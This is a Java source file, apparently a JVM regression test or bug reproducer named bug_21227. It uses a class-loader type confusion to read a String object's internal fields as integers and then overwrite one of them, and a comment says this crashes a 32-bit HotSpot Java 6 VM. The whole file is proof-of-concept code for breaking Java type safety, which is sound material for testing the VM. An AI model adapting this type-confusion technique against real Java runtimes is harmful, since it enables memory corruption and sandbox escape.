62 lines
2.1 KiB
Java
62 lines
2.1 KiB
Java
|
|
||
|
|
import java.lang.reflect.*;
|
||
|
|
import java.security.*;
|
||
|
|
|
||
|
|
abstract public class bug_21227 {
|
||
|
|
|
||
|
|
// Jam anything you want in here, it will be cast to a You_Have_Been_P0wned
|
||
|
|
public static Object _p0wnee;
|
||
|
|
|
||
|
|
public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
|
||
|
|
System.out.println("Warmup");
|
||
|
|
|
||
|
|
// Make a Class 'many_loader' under the default loader
|
||
|
|
bug_21227 bug = new many_loader();
|
||
|
|
|
||
|
|
// Some classes under a new Loader, LOADER2, including another version of 'many_loader'
|
||
|
|
ClassLoader LOADER2 = new Loader2();
|
||
|
|
Class clazz2 = LOADER2.loadClass("from_loader2");
|
||
|
|
IFace iface = (IFace)clazz2.newInstance();
|
||
|
|
|
||
|
|
// Set the victim, a String of length 6
|
||
|
|
String s = "victim";
|
||
|
|
_p0wnee = s;
|
||
|
|
|
||
|
|
// Go cast '_p0wnee' to type You_Have_Been_P0wned
|
||
|
|
many_loader[] x2 = bug.make(iface);
|
||
|
|
|
||
|
|
many_loader b = x2[0];
|
||
|
|
|
||
|
|
// Make it clear that the runtime type many_loader (what we get from the
|
||
|
|
// array X2) varies from the static type of many_loader.
|
||
|
|
Class cl1 = b.getClass();
|
||
|
|
ClassLoader ld1 = cl1.getClassLoader();
|
||
|
|
Class cl2 = many_loader.class;
|
||
|
|
ClassLoader ld2 = cl2.getClassLoader();
|
||
|
|
System.out.println("bug.make() "+ld1+":"+cl1);
|
||
|
|
System.out.println("many_loader "+ld2+":"+cl2);
|
||
|
|
|
||
|
|
// Read the victims guts out
|
||
|
|
You_Have_Been_P0wned q = b._p0wnee;
|
||
|
|
System.out.println("q._a = 0x"+Integer.toHexString(q._a));
|
||
|
|
System.out.println("q._b = 0x"+Integer.toHexString(q._b));
|
||
|
|
System.out.println("q._c = 0x"+Integer.toHexString(q._c));
|
||
|
|
System.out.println("q._d = 0x"+Integer.toHexString(q._d));
|
||
|
|
|
||
|
|
System.out.println("I will now crash the VM:");
|
||
|
|
// On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM
|
||
|
|
//q._c = 3;
|
||
|
|
q._a = -1;
|
||
|
|
|
||
|
|
System.out.println(s);
|
||
|
|
|
||
|
|
}
|
||
|
|
|
||
|
|
// I need to compile (hence call in a loop) a function which returns a value
|
||
|
|
// loaded from classloader other than the system one. The point of this
|
||
|
|
// call is to give me an abstract 'hook' into a function loaded with a
|
||
|
|
// foreign loader.
|
||
|
|
public abstract many_loader[] make( IFace iface ); // abstract factory
|
||
|
|
}
|
||
|
|
|